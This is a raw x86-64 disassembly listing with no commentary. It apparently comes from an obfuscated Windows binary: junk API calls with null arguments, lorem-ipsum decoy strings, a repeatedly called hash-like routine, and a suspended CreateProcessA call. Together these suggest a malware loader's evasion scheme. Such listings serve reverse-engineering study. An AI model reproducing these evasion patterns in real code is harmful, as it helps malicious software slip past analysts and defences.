mov dword [rax], edx
call fcn.00414620
mov rdx, qword [0x004caf10]
lea rcx, str.Tempore_provident_corrupti_est_natus
mov dword [rdx], eax
call rsi
mov r12, qword [sym.imp.KERNEL32.dll_SetCommMask]
xor edx, edx
xor ecx, ecx
call r12
lea r8, str.Praesentium_tempore_assumenda_id
xor edx, edx
xor ecx, ecx
call r15
mov rax, qword [0x004ca340]
xor ecx, ecx
mov dword [rax], 0x79598936
mov rax, qword [0x004cab10]
mov dword [rax], 0x6e85649d
mov rax, qword [0x004caf30]
mov edx, dword [rax]
mov rax, qword [0x004caf80]
mov dword [rax], edx
call rbx
mov ecx, 0xbdfab181
call fcn.00414620
mov rdx, qword [0x004cad50]
xor ecx, ecx
mov dword [rdx], eax
call rbx
lea rcx, str.Officiis_rerum
call rsi
mov r15, qword [sym.imp.ADVAPI32.dll_NotifyChangeEventLog]
xor edx, edx
xor ecx, ecx
call r15
mov rdx, qword [sym.imp.KERNEL32.dll_GetFileType]
xor ecx, ecx
mov qword [rsp + 0x50], rdx
call rdx
xor ecx, ecx
call rbx
mov ecx, dword [rdi]
mov rax, qword [0x004ca2b0]
mov rdx, qword [rsp + 0x50]
mov dword [rax], ecx
xor ecx, ecx
call rdx
mov rax, qword [str.eNl.h_Q]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov eax, dword [rax]
mov dword [rdi], eax
mov rdi, qword [sym.imp.ADVAPI32.dll_RegNotifyChangeKeyValue]
mov dword [rsp + 0x20], 0
call rdi
mov rax, qword [0x004caca0]
xor edx, edx
xor ecx, ecx
mov dword [rax], 0x6822988d
mov rax, qword [0x004caa30]
mov dword [rax], 0x88882f1f
mov rax, qword [0x004ca480]
mov dword [rax], 0xd992d9c6
call r12
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x20], 0
call rdi
mov rax, qword [0x004cac40]
mov r11, qword [sym.imp.KERNEL32.dll_SetLastError]
xor ecx, ecx
mov edx, dword [rax]
mov rax, qword [0x004ca2a0]
mov qword [rsp + 0x50], r11
mov dword [rax], edx
mov rax, qword [0x004ca810]
mov edx, dword [rax]
mov rax, qword [0x004ca3c0]
mov dword [rax], edx
call r11
mov rax, qword [0x004cabd0]
xor ecx, ecx
mov edx, dword [rax]
mov rax, qword [0x004ca450]
mov dword [rax], edx
call qword [sym.imp.ADVAPI32.dll_ImpersonateLoggedOnUser]
mov rax, qword [0x004ca9d0]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004caab0]
xor ecx, ecx
mov dword [rdx], eax
call qword [sym.imp.ADVAPI32.dll_ImpersonateAnonymousToken]
xor edx, edx
lea rcx, str.Libero_dicta_tenetur_necessitatibus
call rbp
mov rax, qword [0x004cab70]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004cab80]
lea rcx, str.Sed_ducimus_magnam_nam_velit_est_dicta_quas
mov dword [rdx], eax
mov rax, qword [0x004caee0]
mov edx, dword [rax]
mov rax, qword [0x004cae50]
mov dword [rax], edx
xor edx, edx
call rbp
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindNextStreamW]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetEvent]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rax, qword [0x004caf20]
mov rcx, qword [0x004ca9f0]
mov eax, dword [rax]
mov dword [rcx], eax
xor ecx, ecx
mov dword [rsp + 0x20], 0
call rdi
xor ecx, ecx
call rbx
mov ecx, 0x5b7b5694
call fcn.00414620
mov rdx, qword [0x004caec0]
xor ecx, ecx
mov dword [rdx], eax
xor edx, edx
call qword [sym.imp.KERNEL32.dll_GetCommModemStatus]
mov rax, qword [0x004ca540]
lea rcx, str.Illum_aut_iste_et_voluptatem_aspernatur_veniam_blanditiis_modi_minus
mov edx, dword [rax]
mov rax, qword [0x004ca650]
mov dword [rax], edx
mov rax, qword [0x004ca390]
mov edx, dword [rax]
mov rax, qword [0x004ca370]
mov dword [rax], edx
xor edx, edx
call rbp
xor edx, edx
xor ecx, ecx
call r15
mov rax, qword [0x004ca740]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov dword [rax], 0x5a24aa8e
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
call qword [sym.imp.ADVAPI32.dll_ReadEventLogA]
mov rax, qword [0x004caa90]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004ca600]
xor ecx, ecx
mov dword [rdx], eax
xor edx, edx
call r14
mov rax, qword [0x004ca230]
mov ecx, 0xee7448e1
mov dword [rax], 0x4227af11
mov rax, qword [0x004ca9f0]
mov dword [rax], 0x33b2eda2
call fcn.00414620
mov rcx, qword [0x004ca7b0]
mov dword [rcx], eax
lea rcx, str.ProfJimmyHessel
call rsi
xor edx, edx
xor ecx, ecx
call r15
mov ecx, 0x9287c03d
call fcn.00414620
mov rdx, qword [0x004ca5c0]
mov rbp, qword [sym.imp.ADVAPI32.dll_RegisterEventSourceA]
lea rcx, str.AbigaleHand
mov dword [rdx], eax
lea rdx, str.Sint_blanditiis_qui_est_officiis_possimus_tempora_sapiente_voluptates_quaerat_nulla_at
call rbp
lea rdx, str.FredericConsidine
lea rcx, str.ProfJarretRatkeII
call rbp
mov rax, qword [0x004cab60]
xor edx, edx
xor ecx, ecx
mov dword [rax], 0xcb0aa5a0
mov rax, qword [0x004caf30]
mov dword [rax], 0xbc7e5eb8
call r14
lea rcx, str.Voluptatem_sed_rem_deleniti_nostrum_facilis
call r13
mov r11, qword [rsp + 0x50]
xor ecx, ecx
call r11
lea rcx, str.MsClementineArmstrong
call rsi
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetCommBreak]
xor ecx, ecx
call rbx
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_WaitForSingleObjectEx]
mov ecx, 0x57346dd0
call fcn.00414620
mov rbx, qword [0x004ca7b0]
mov dword [rbx], eax
mov rax, qword [0x004ca3b0]
mov dword [rax], 0xd2512a8e
mov rax, qword [0x004caa00]
mov ecx, dword [rax]
call fcn.00414620
mov rbx, qword [0x004ca9d0]
mov ecx, 0xaa8be511
mov dword [rbx], eax
call fcn.00414620
mov rbx, qword [0x004cad50]
xor edx, edx
xor ecx, ecx
mov dword [rbx], eax
call r12
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetNamedPipeHandleState]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x20], 0
call rdi
mov rax, qword [0x004ca260]
mov r10, qword [rsp + 0x58]
xor ecx, ecx
mov dword [rax], 0x785422cc
call r10
mov ecx, 0xed8874d0
call fcn.00414620
mov rdi, qword [0x004caec0]
mov dword [rdi], eax
lea rax, [rsp + 0xe0]
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0xf8]
lea rdx, [rsp + 0x560]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 1
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x40bb0f
mov rax, qword [0x004cacb0]
cmp dword [rax], 0x47da
jle 0x40a7ba
mov ecx, 0xd31df21d
call fcn.00414620
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
mov rdx, qword [0x004ca320]
mov dword [rdx], eax
xor edx, edx
call qword [sym.imp.KERNEL32.dll_SetNamedPipeHandleState]
mov rax, qword [str.Z2iy]
mov rdi, qword [0x004cad40]
xor ecx, ecx
mov rbx, qword [sym.imp.KERNEL32.dll_SetCommBreak]
mov eax, dword [rax]
mov dword [rdi], eax
call rbx
xor ecx, ecx
call rbx
mov rax, qword [0x004ca370]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004ca310]
mov rbp, qword [sym.imp.ADVAPI32.dll_NotifyChangeEventLog]
xor ecx, ecx
mov dword [rdx], eax
mov rax, qword [0x004ca510]
mov dword [rax], 0x5ee0bbdb
mov rax, qword [0x004cac40]
mov edx, dword [rax]
mov rax, qword [0x004cabf0]
mov dword [rax], edx
xor edx, edx
call rbp
mov rax, qword [0x004ca500]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004ca380]
xor ecx, ecx
mov dword [rdx], eax
call rbx
mov rax, qword [0x004cae20]
xor ecx, ecx
mov dword [rax], 0x73c9f082
mov rax, qword [sym.imp.KERNEL32.dll_GetFileType]
mov qword [rsp + 0x50], rax
call rax
xor edx, edx
xor ecx, ecx
call rbp
mov r15, qword [0x004ca300]
xor edx, edx
xor ecx, ecx
mov rsi, qword [sym.imp.KERNEL32.dll_OpenEventA]
lea r8, str.ProfMarkDaugherty
mov dword [r15], 0xd2f7c51d
call rsi
mov rax, qword [sym.imp.ADVAPI32.dll_RegNotifyChangeKeyValue]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x20], 0
mov qword [rsp + 0x58], rax
call rax
mov rax, qword [0x004cac30]
mov rdi, qword [0x004ca600]
xor ecx, ecx
mov r11, qword [sym.imp.ADVAPI32.dll_ImpersonateLoggedOnUser]
mov eax, dword [rax]
mov qword [rsp + 0x88], r11
mov dword [rdi], eax
mov rax, qword [0x004ca260]
mov eax, dword [rax]
mov dword [r15], eax
call r11
xor ecx, ecx
mov r14, qword [sym.imp.ADVAPI32.dll_ImpersonateAnonymousToken]
call r14
xor ecx, ecx
call rbx
mov rax, qword [sym.imp.KERNEL32.dll_SetEvent]
xor ecx, ecx
mov qword [rsp + 0x60], rax
call rax
xor edx, edx
xor ecx, ecx
call rbp
mov rax, qword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
lea rcx, str.DrSvenTorp
mov qword [rsp + 0x68], rax
call rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x20], 0
mov rax, qword [rsp + 0x58]
call rax
mov rdi, qword [sym.imp.KERNEL32.dll_GetCommModemStatus]
xor edx, edx
xor ecx, ecx
call rdi
mov rax, qword [0x004ca530]
xor edx, edx
xor ecx, ecx
mov r12, qword [sym.imp.KERNEL32.dll_EscapeCommFunction]
mov dword [rax], 0xa1e4fa14
call r12
mov rax, qword [sym.imp.KERNEL32.dll_WaitNamedPipeA]
xor edx, edx
lea rcx, str.MissVedaFramiIII
mov qword [rsp + 0x70], rax
call rax
mov r10, qword [sym.imp.ADVAPI32.dll_RegisterEventSourceA]
lea rdx, str.Dignissimos_illum_porro_fugit
lea rcx, str.Et_error_vitae_doloribus
mov qword [rsp + 0x80], r10
call r10
mov rax, qword [0x004ca600]
xor ecx, ecx
mov dword [rax], 0xc1ba0f05
mov rax, qword [rsp + 0x60]
call rax
mov rax, qword [0x004ca420]
xor r9d, r9d
xor r8d, r8d
mov rdx, qword [0x004ca1d0]
xor ecx, ecx
mov eax, dword [rax]
mov dword [rdx], eax
xor edx, edx
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
call qword [sym.imp.ADVAPI32.dll_ReadEventLogA]
xor edx, edx
xor ecx, ecx
call r12
xor ecx, ecx
call r14
mov rax, qword [0x004ca540]
mov dword [rax], 0x4c68c24
mov rax, qword [0x004cae50]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004cac50]
xor r8d, r8d
xor ecx, ecx
mov r13, qword [sym.imp.KERNEL32.dll_WaitForSingleObjectEx]
mov dword [rdx], eax
xor edx, edx
call r13
mov r9, qword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
xor ecx, ecx
mov qword [rsp + 0x78], r9
call r9
xor edx, edx
xor ecx, ecx
call r12
xor edx, edx
xor ecx, ecx
call rdi
mov ecx, 0xa3172601
call fcn.00414620
mov rcx, qword [0x004cad60]
mov dword [rcx], eax
mov ecx, dword [r15]
call fcn.00414620
mov rdx, qword [0x004ca600]
mov rcx, qword [0x004cad40]
mov dword [rdx], eax
mov rax, qword [0x004ca3e0]
xor edx, edx
mov eax, dword [rax]
mov dword [rcx], eax
xor ecx, ecx
call rdi
xor edx, edx
xor ecx, ecx
call rbp
mov rax, qword [0x004ca700]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [str.7U5]
mov ecx, 0x6d347892
mov dword [rdx], eax
mov rax, qword [0x004ca620]
mov dword [rax], 0x3699e59a
call fcn.00414620
mov rdx, qword [0x004caae0]
lea r8, str.MrLinwoodBotsford
xor ecx, ecx
mov dword [rdx], eax
xor edx, edx
call rsi
mov rax, qword [0x004ca680]
xor ecx, ecx
mov edx, dword [rax]
mov rax, qword [0x004ca580]
mov dword [rax], edx
xor edx, edx
call rdi
xor edx, edx
mov r15, qword [sym.imp.KERNEL32.dll_FindNextStreamW]
xor ecx, ecx
call r15
mov r9, qword [rsp + 0x78]
xor ecx, ecx
call r9
xor edx, edx
xor ecx, ecx
lea r8, str.Et_harum_est_voluptatibus_consectetur_laboriosam_temporibus_sit
call rsi
mov rax, qword [0x004cabe0]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov dword [rax], 0xcca4518b
call r13
mov r11, qword [rsp + 0x88]
xor ecx, ecx
call r11
mov rax, qword [0x004caf20]
mov ecx, dword [rax]
call fcn.00414620
mov rcx, qword [0x004ca260]
mov dword [rcx], eax
mov rax, qword [str.7U5]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004caa10]
xor ecx, ecx
mov dword [rdx], eax
mov rax, qword [rsp + 0x60]
call rax
xor ecx, ecx
call r14
xor ecx, ecx
call rbx
mov rax, qword [0x004cae50]
mov r14, qword [sym.imp.KERNEL32.dll_FindClose]
xor ecx, ecx
mov edx, dword [rax]
mov rax, qword [0x004cada0]
mov dword [rax], edx
call r14
xor edx, edx
xor ecx, ecx
call rbp
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x20], 0
mov rax, qword [rsp + 0x58]
call rax
mov rax, qword [0x004ca760]
mov rbp, qword [0x004caa00]
mov eax, dword [rax]
mov dword [rbp], eax
mov rax, qword [0x004ca410]
mov edx, dword [rax]
mov rax, qword [0x004ca2e0]
mov dword [rax], edx
mov rax, qword [0x004cab40]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004ca750]
xor r8d, r8d
xor ecx, ecx
mov dword [rdx], eax
xor edx, edx
call r13
mov dword [rbp], 0x2e66376e
xor ecx, ecx
mov rbp, qword [0x004caa80]
mov dword [rbp], 0x3890ae3f
call qword [sym.imp.KERNEL32.dll_FlushFileBuffers]
xor edx, edx
xor ecx, ecx
call r15
mov ecx, 0x13dbe7a4
call fcn.00414620
mov rdx, qword [0x004caa50]
xor r8d, r8d
xor ecx, ecx
mov dword [rdx], eax
mov rax, qword [0x004ca1b0]
mov edx, dword [rax]
mov rax, qword [0x004cae60]
mov dword [rax], edx
xor edx, edx
call r13
mov r13, qword [0x004cab10]
mov ecx, dword [r13]
call fcn.00414620
mov rdx, qword [0x004ca4c0]
mov ecx, 0xc3af62e
mov dword [rbp], 0xab2a8b01
mov dword [rdx], eax
call fcn.00414620
mov rdx, qword [0x004ca520]
mov dword [rdx], eax
mov rax, qword [0x004ca3b0]
mov dword [rax], 0x806c4c0c
mov rax, qword [0x004caaa0]
mov edx, dword [rax]
mov rax, qword [0x004ca1a0]
mov dword [rax], edx
mov rax, qword [0x004cabd0]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004cadc0]
xor ecx, ecx
mov dword [rdx], eax
xor edx, edx
call r12
mov rax, qword [0x004ca480]
mov edx, dword [rax]
mov rax, qword [0x004ca7a0]
mov dword [rax], edx
mov rax, qword [0x004ca670]
mov ecx, dword [rax]
call fcn.00414620
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
mov rdx, qword [0x004ca1d0]
mov dword [rdx], eax
xor edx, edx
mov rax, qword [rsp + 0x58]
mov dword [rsp + 0x20], 0
call rax
xor edx, edx
xor ecx, ecx
call rdi
mov rax, qword [0x004ca640]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004ca210]
mov ecx, 0x32d7790a
mov dword [rdx], eax
call fcn.00414620
mov rdi, qword [0x004cab50]
xor ecx, ecx
mov dword [rdi], eax
mov rax, qword [rsp + 0x50]
call rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetLastError]
mov rax, qword [0x004ca650]
xor ecx, ecx
mov dword [rax], 0xc9f0cf09
mov rax, qword [0x004caf40]
mov dword [rax], 0x68bc530f
call rbx
xor edx, edx
xor ecx, ecx
lea r8, str.MrsWillowLeuschke
call rsi
mov rax, qword [0x004caf00]
xor edx, edx
xor ecx, ecx
lea r8, str.Eveniet_sequi_temporibus_laborum
mov dword [rax], 0x265bdef4
call rsi
xor ecx, ecx
mov rax, qword [rsp + 0x50]
call rax
xor ecx, ecx
mov rax, qword [rsp + 0x50]
call rax
xor edx, edx
xor ecx, ecx
call r15
mov rax, qword [0x004cad60]
mov dword [rax], 0x99ec5470
mov rax, qword [0x004cad30]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004ca7c0]
mov dword [rdx], eax
mov rax, qword [0x004caba0]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004cad50]
lea rcx, str.DrPinkieAufderharV
mov dword [rdx], eax
mov rax, qword [rsp + 0x68]
call rax
mov rax, qword [0x004ca6c0]
lea rcx, str.Libero_neque_ut_et_repudiandae_nihil_ut
mov edx, dword [rax]
mov rax, qword [0x004ca330]
mov dword [rax], edx
xor edx, edx
mov rax, qword [rsp + 0x70]
call rax
mov rax, qword [0x004caa60]
xor ecx, ecx
mov edx, dword [rax]
mov rax, qword [0x004cae80]
mov dword [rax], edx
call r14
mov dword [rdi], 0xc2ab5530
lea rcx, str.Voluptas_quas_et_rem_odio_sequi
call qword [sym.imp.KERNEL32.dll_lstrlenA]
xor ecx, ecx
mov rax, qword [rsp + 0x60]
call rax
mov rax, qword [0x004ca6e0]
mov ecx, 0x4f3653a9
mov edx, dword [rax]
mov rax, qword [0x004caef0]
mov dword [rax], edx
mov rax, qword [0x004cab00]
mov edx, dword [rax]
mov rax, qword [0x004ca660]
mov dword [rax], edx
call fcn.00414620
mov rdi, qword [0x004caf20]
mov dword [rdi], eax
mov rax, qword [0x004ca540]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004ca730]
xor ecx, ecx
mov dword [rdx], eax
call r14
mov rax, qword [str.Z2iy]
lea rdx, str.Commodi_deserunt_quaerat
mov r10, qword [rsp + 0x80]
lea rcx, str.Officiis_repellat_eum
mov eax, dword [rax]
mov dword [r13], eax
call r10
xor ecx, ecx
call r14
mov rax, qword [0x004ca770]
mov edx, dword [rax]
mov rax, qword [0x004ca430]
mov dword [rax], edx
mov rax, qword [rsp + 0xe0]
mov qword [rsp + 0x88], rax
mov rax, qword [0x004cacb0]
cmp dword [rax], 0
je 0x40bb00
mov rax, qword [0x004cac20]
mov ecx, dword [rax]
call fcn.00414620
mov rdi, qword [0x004ca300]
xor edx, edx
xor ecx, ecx
xor r9d, r9d
xor r8d, r8d
mov dword [rdi], eax
mov rax, qword [sym.imp.ADVAPI32.dll_RegNotifyChangeKeyValue]
mov dword [rsp + 0x20], 0
mov qword [rsp + 0x98], rax
call rax
xor ecx, ecx
mov rbx, qword [sym.imp.ADVAPI32.dll_ImpersonateAnonymousToken]
call rbx
mov r11, qword [0x004ca990]
xor r9d, r9d
xor r8d, r8d
mov rsi, qword [0x004caee0]
xor edx, edx
xor ecx, ecx
mov eax, dword [r11]
mov dword [rsi], eax
mov rax, qword [rsp + 0x98]
mov dword [rsp + 0x20], 0
call rax
mov rax, qword [0x004caf80]
xor ecx, ecx
mov dword [rsi], 0x11914fbf
mov rdi, qword [sym.imp.KERNEL32.dll_GetFileType]
mov dword [rax], 0x5529ede4
call rdi
mov rax, qword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
lea rcx, str.Culpa_inventore_nostrum_numquam_alias
mov qword [rsp + 0x60], rax
call rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCommModemStatus]
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x50], rax
call rax
mov ecx, 0xab982b23
call fcn.00414620
mov rsi, qword [str.Z2iy]
lea rcx, str.Aliquam_molestiae_qui_iure_sed_distinctio_blanditiis_a
mov dword [rsi], eax
mov rax, qword [sym.imp.KERNEL32.dll_lstrlenA]
mov qword [rsp + 0x68], rax
call rax
mov rax, qword [0x004caac0]
mov rsi, qword [0x004cadf0]
xor ecx, ecx
mov eax, dword [rax]
mov dword [rsi], eax
mov rax, qword [sym.imp.KERNEL32.dll_FlushFileBuffers]
mov qword [rsp + 0x90], rax
call rax
mov rax, qword [sym.imp.KERNEL32.dll_FindClose]
xor ecx, ecx
mov qword [rsp + 0x58], rax
call rax
mov rax, qword [0x004ca390]
mov rcx, qword [0x004ca290]
xor edx, edx
mov eax, dword [rax]
mov dword [rcx], eax
mov rax, qword [sym.imp.KERNEL32.dll_EscapeCommFunction]
xor ecx, ecx
mov qword [rsp + 0xa0], rax
call rax
mov rax, qword [sym.imp.KERNEL32.dll_SetCommMask]
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0xb0], rax
call rax
mov rax, qword [0x004ca7a0]
xor ecx, ecx
mov dword [rax], 0x39202de8
call rdi
mov rax, qword [sym.imp.KERNEL32.dll_FindNextStreamW]
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x70], rax
call rax
mov rbp, qword [sym.imp.ADVAPI32.dll_ImpersonateLoggedOnUser]
xor ecx, ecx
call rbp
mov ecx, 0xbcf024ad
call fcn.00414620
mov rdx, qword [0x004ca3b0]
mov r13, qword [0x004ca260]
xor ecx, ecx
xor r8d, r8d
mov dword [rdx], eax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObjectEx]
xor edx, edx
mov dword [r13], 0xd32d46c0
mov qword [rsp + 0xa8], rax
call rax
mov rax, qword [0x004ca590]
mov edx, dword [rax]
mov rax, qword [0x004ca1d0]
mov dword [rax], edx
mov rax, qword [0x004caf70]
mov ecx, dword [rax]
call fcn.00414620
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
mov rdx, qword [0x004cae60]
mov dword [rdx], eax
mov rax, qword [sym.imp.KERNEL32.dll_SetNamedPipeHandleState]
xor edx, edx
mov qword [rsp + 0x78], rax
call rax
mov rax, qword [0x004caac0]
xor ecx, ecx
mov edx, dword [rax]
mov rax, qword [0x004ca5a0]
mov dword [rax], edx
mov rax, qword [rsp + 0x90]
call rax
xor ecx, ecx
call rdi
xor ecx, ecx
call rdi
lea r8, str.Laborum_et_et_hic_doloribus_magni_ut_recusandae_non
xor edx, edx
xor ecx, ecx
mov r15, qword [sym.imp.KERNEL32.dll_OpenEventA]
call r15
mov r12, qword [sym.imp.ADVAPI32.dll_RegisterEventSourceA]
lea rdx, str.EnricoGreen
lea rcx, str.JazminWill
call r12
mov rax, qword [0x004cae70]
mov r14, qword [0x004caf00]
mov rcx, qword [0x004ca430]
mov rdx, qword [0x004ca1c0]
mov dword [rax], 0x3f7a3fcf
mov rax, qword [0x004ca4e0]
mov eax, dword [rax]
mov dword [rcx], eax
mov eax, dword [r14]
mov ecx, dword [rsi]
mov dword [rdx], eax
call fcn.00414620
mov rdx, qword [0x004cad20]
xor ecx, ecx
mov dword [rdx], eax
call rbp
xor ecx, ecx
call rbp
mov ecx, 0x93bbbca8
call fcn.00414620
mov rsi, qword [0x004ca4f0]
mov dword [rsi], eax
mov rax, qword [0x004caf10]
mov ecx, dword [rax]
call fcn.00414620
mov ecx, 0x8ba790d
mov dword [r14], eax
call fcn.00414620
mov rsi, qword [0x004ca790]
mov rdx, qword [0x004ca740]
mov ecx, dword [rsi]
mov dword [rdx], eax
call fcn.00414620
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
mov rdx, qword [0x004cab60]
mov dword [rdx], eax
mov rax, qword [sym.imp.ADVAPI32.dll_ReadEventLogA]
xor edx, edx
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov qword [rsp + 0x80], rax
call rax
mov ecx, 0x545cb092
call fcn.00414620
mov rdx, qword [0x004caf20]
mov dword [rdx], eax
mov rax, qword [0x004cabf0]
mov ecx, dword [rax]
call fcn.00414620
mov rcx, qword [0x004cabd0]
mov rbp, qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov dword [rcx], eax
xor ecx, ecx
call rbp
mov rax, qword [0x004cac00]
xor ecx, ecx
mov dword [rax], 0xbe49402e
call rbp
mov r10, qword [0x004cac30]
mov rax, qword [0x004ca6e0]
xor ecx, ecx
mov edx, dword [r10]
mov dword [rax], edx
mov eax, dword [r13]
mov rdx, qword [0x004cac20]
mov dword [rdx], eax
xor edx, edx
mov rax, qword [rsp + 0x50]
call rax
mov rax, qword [0x004ca500]
xor ecx, ecx
mov dword [rax], 0xc63b57ba
mov rax, qword [0x004ca6b0]
mov edx, dword [rax]
mov rax, qword [0x004cae20]
mov dword [rax], edx
mov rax, qword [sym.imp.KERNEL32.dll_SetEvent]
mov qword [rsp + 0xb8], rax
call rax
lea rdx, str.MarcGradyIV
lea rcx, str.JanetHudson
call r12
mov r10, qword [0x004cac30]
mov rax, qword [0x004ca520]
mov edx, dword [r10]
mov dword [rax], edx
mov rax, qword [0x004ca220]
mov ecx, dword [rax]
call fcn.00414620
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov dword [rsi], eax
xor ecx, ecx
mov rax, qword [rsp + 0x80]
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
call rax
mov ecx, 0xc63c9214
call fcn.00414620
mov rsi, qword [0x004ca6f0]
xor edx, edx
xor ecx, ecx
xor r8d, r8d
mov dword [rsi], eax
mov rax, qword [0x004cae40]
mov rsi, qword [0x004ca340]
mov eax, dword [rax]
mov dword [rsi], eax
mov rax, qword [rsp + 0xa8]
call rax
xor ecx, ecx
call rbx
xor ecx, ecx
call rbp
lea rcx, str.Non_eos_iste
mov rax, qword [rsp + 0x68]
call rax
lea rcx, str.Nihil_reprehenderit
mov rax, qword [rsp + 0x60]
call rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov rax, qword [rsp + 0x78]
call rax
mov rax, qword [0x004ca5e0]
mov r14, qword [0x004caa60]
mov ecx, dword [rax]
mov dword [r14], 0x97626746
call fcn.00414620
mov r13, qword [0x004caeb0]
xor ecx, ecx
mov dword [r13], eax
mov rax, qword [rsp + 0x58]
call rax
xor ecx, ecx
mov rsi, qword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
call rsi
mov edx, dword [r14]
mov rax, qword [0x004ca7c0]
xor ecx, ecx
mov r14, qword [sym.imp.ADVAPI32.dll_NotifyChangeEventLog]
mov dword [rax], edx
xor edx, edx
call r14
xor edx, edx
xor ecx, ecx
call r14
mov ecx, dword [r13]
call fcn.00414620
mov rcx, qword [0x004caec0]
mov dword [rcx], eax
xor ecx, ecx
mov rax, qword [rsp + 0x58]
call rax
xor ecx, ecx
mov rax, qword [rsp + 0x90]
call rax
xor ecx, ecx
mov r13, qword [sym.imp.KERNEL32.dll_SetLastError]
call r13
mov rax, qword [0x004ca450]
mov rcx, qword [0x004ca340]
mov edx, dword [rax]
mov rax, qword [0x004caae0]
mov dword [rax], edx
mov rax, qword [0x004ca290]
mov rdx, qword [0x004ca1c0]
mov eax, dword [rax]
mov dword [rdx], eax
mov rax, qword [0x004ca4a0]
mov eax, dword [rax]
mov dword [rcx], eax
mov rax, qword [0x004cae00]
xor ecx, ecx
mov edx, dword [rax]
mov rax, qword [0x004ca5f0]
mov dword [rax], edx
call rbp
mov rax, qword [str.eNl.h_Q]
mov r10, qword [0x004cac30]
cmp qword [rsp + 0x88], 0
mov r11, qword [0x004ca990]
mov edx, dword [rax]
mov rax, qword [0x004ca320]
mov dword [rax], edx
mov eax, dword [r10]
mov dword [r11], eax
je 0x40bb0f
mov rax, qword [0x004cacb0]
cmp dword [rax], 0
je 0x40b364
xor ecx, ecx
mov rax, qword [rsp + 0x58]
call rax
lea rcx, str.Ipsam_hic_recusandae_nemo_soluta_voluptates_quis_sit
mov rax, qword [rsp + 0x60]
call rax
xor ecx, ecx
call rsi
xor edx, edx
xor ecx, ecx
mov rax, qword [rsp + 0xa0]
call rax
mov rax, qword [0x004ca620]
xor ecx, ecx
mov edx, dword [rax]
mov rax, qword [0x004caf50]
mov dword [rax], edx
mov rax, qword [0x004cac20]
mov dword [rax], 0xbda86ff7
call rbx
xor ecx, ecx
call rbx
mov rax, qword [0x004caa40]
xor ecx, ecx
mov dword [rax], 0x52e9e74
call rbx
mov ecx, 0x3d4a2db
call fcn.00414620
mov rdx, qword [0x004caac0]
xor ecx, ecx
mov dword [rdx], eax
xor edx, edx
mov rax, qword [rsp + 0x70]
call rax
xor edx, edx
xor ecx, ecx
call r14
xor edx, edx
xor ecx, ecx
mov rax, qword [rsp + 0x50]
call rax
mov r14, qword [0x004ca700]
mov rcx, qword [0x004cada0]
lea rdx, str.Consequuntur_illum_voluptates_veritatis_temporibus_eos_sunt
mov eax, dword [r14]
mov dword [rcx], eax
lea rcx, str.Debitis_delectus_ducimus_sequi_et_amet
call r12
mov rax, qword [0x004caea0]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov dword [rax], 0x18cc88f1
mov rax, qword [rsp + 0x78]
call rax
